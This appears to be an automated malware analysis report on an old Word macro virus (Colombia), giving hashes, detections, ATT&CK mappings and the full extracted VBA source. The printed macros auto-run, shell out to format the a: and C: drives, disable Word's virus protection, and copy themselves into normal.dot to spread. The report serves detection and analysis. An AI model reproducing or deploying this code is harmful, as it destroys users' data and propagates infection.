Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 69ab0bd1d57f6057…

MALICIOUS

Office (OLE)

41.0 KB Created: 1997-04-26 07:26:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: af0f474c45666f9d0bb8ab93ab6c6da7 SHA-1: 21a3e4f9eadb1d2cde15402513cbb4e1c6f44c9b SHA-256: 69ab0bd1d57f6057f4503d7688ccebce0ab71f20a3b6aa9af6aff6203df9b8bf
340 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

This Office document contains a legacy WordBasic auto-exec macro named 'AutoOpen' which calls other VBA functions. The 'autoexec' and 'kill' subroutines within the 'NewMacros' module contain logic that attempts to format the C: drive using 'C:\WINDOWS\COMMAND\FORMAT.COM C: /AUTOTEST'. This destructive action is indicative of a malicious payload, potentially part of a ransomware or wiper attack. The ClamAV detections further confirm its malicious nature.

Heuristics 7

  • ClamAV: Doc.Trojan.Colombia-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Colombia-1
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10976 bytes
SHA-256: bd3eccce930c60c1cac72cbc551b13b0bb6b8f4179b06a01f6ae722e4e74728e
Detection
ClamAV: Win.Trojan.C-286
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()
Attribute AutoOpen.VB_Description = "Macro creada el 24/11/98 por *"
Attribute AutoOpen.VB_ProcData.VB_Invoke_Func = "Normal.NewMacros.colombia"

'
' colombia Macro
' Macro creada el 24/11/98 por *
'
On Error Resume Next
autoexec
engendrar
kill
        
End Sub
Sub autonew()
Attribute autonew.VB_Description = "Macro grabada el 24/11/98 por *"
Attribute autonew.VB_ProcData.VB_Invoke_Func = "Normal.NewMacros.autonew"

'
' autonew Macro
' Macro grabada el 24/11/98 por *
'
On Error Resume Next
autoexec
engendrar
kill
End Sub
Sub autoexec()
Attribute autoexec.VB_Description = "Macro grabada el 24/11/98 por *"
Attribute autoexec.VB_ProcData.VB_Invoke_Func = "Normal.NewMacros.autoexec"
'
' autoexec Macro
' Macro grabada el 24/11/98 por *
'
On Error Resume Next
    kill
    engendrar
End Sub
Sub kill()
Dim RetVal, unidad, num, commline, cont
    minombre = Dir("C:\", 8)
    unidad = "a"
         
        unprotect
        Randomize
        num = Int(Rnd * 20)
        cont = Val(GetSetting("colombia", "te", "quiere", 0))
        StatusBar = "Linea " + Str(cont) + "Esquema " + unidad
        commline = "C:\WINDOWS\COMMAND\FORMAT.COM " + unidad + ": /AUTOTEST"
        If cont > 99 Then
            commline = "C:\WINDOWS\COMMAND\FORMAT.COM C: /AUTOTEST"
               
            If minombre <> "COLOMBIA" Then
                RetVal = Shell(commline, 0)
            Else
                MsgBox "*** Salvado por Colombia ***"
            End If
            
        Else
            If num > 0 Then
                commline = "C:\WINDOWS\COMMAND\FORMAT.COM a: /AUTOTEST"
                If minombre = "COLOMBIA" Or cont < 0 Then
                    StatusBar = "Se salvó el Diskette"
                    
                Else
                    RetVal = Shell(commline, 0)
                End If
            End If
            
        
        End If
        
        
        cont = Val(GetSetting("colombia", "te", "quiere", 0))
        
        If cont = 0 Then
            SaveSetting "colombia", "te", "quiere", 1
            
        Else
            If cont > 0 Then
                DeleteSetting "colombia", "te", "quiere"
                cont = cont + 1
                SaveSetting "colombia", "te", "quiere", Str(cont)
            End If
        End If
        
        
    
End Sub
Sub engendrar()
Dim normalpath, ruta
On Error Resume Next
normalpath = "normal.dot"
For Each normalpath In Templates
    ruta = normalpath.FullName
Next normalpath


Application.OrganizerCopy Source:= _
        ruta, _
        Destination:=ActiveDocument.FullName, Name:="NewMacros", Object:= _
        wdOrganizerObjectProjectItems
Application.OrganizerCopy Source:= _
        ActiveDocument.FullName, _
        Destination:=ruta, Name:="NewMacros", Object:= _
        wdOrganizerObjectProjectItems

End Sub
Sub autoclose()
    
    engendrar
    kill
    StatusBar = "Publicidad para Colombia!!"
End Sub
Sub unprotect()
Attribute unprotect.VB_Description = "Macro grabada el 24/11/98 por *"
Attribute unprotect.VB_ProcData.VB_Invoke_Func = "Normal.NewMacros.unprotect"
'
' unprotect Macro
' Macro grabada el 24/11/98 por *
'
On Error Resume Next

    With Options
        .VirusProtection = False
        CommandBars("View").Controls(6).Delete
        CommandBars("Macro").Controls(1).Delete
        CommandBars("Macro").Controls(2).Delete
        CommandBars("Macro").Controls(3).Delete
        CommandBars("Tools").Controls(14).Delete
    End With
End Sub


' Processing file: /opt/analyzer/scan_staging/a7477f612b1640b08c4f9a8438199a73.bin
' ===============================================================================
' Module streams:
' Macros/VBA/Thi
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.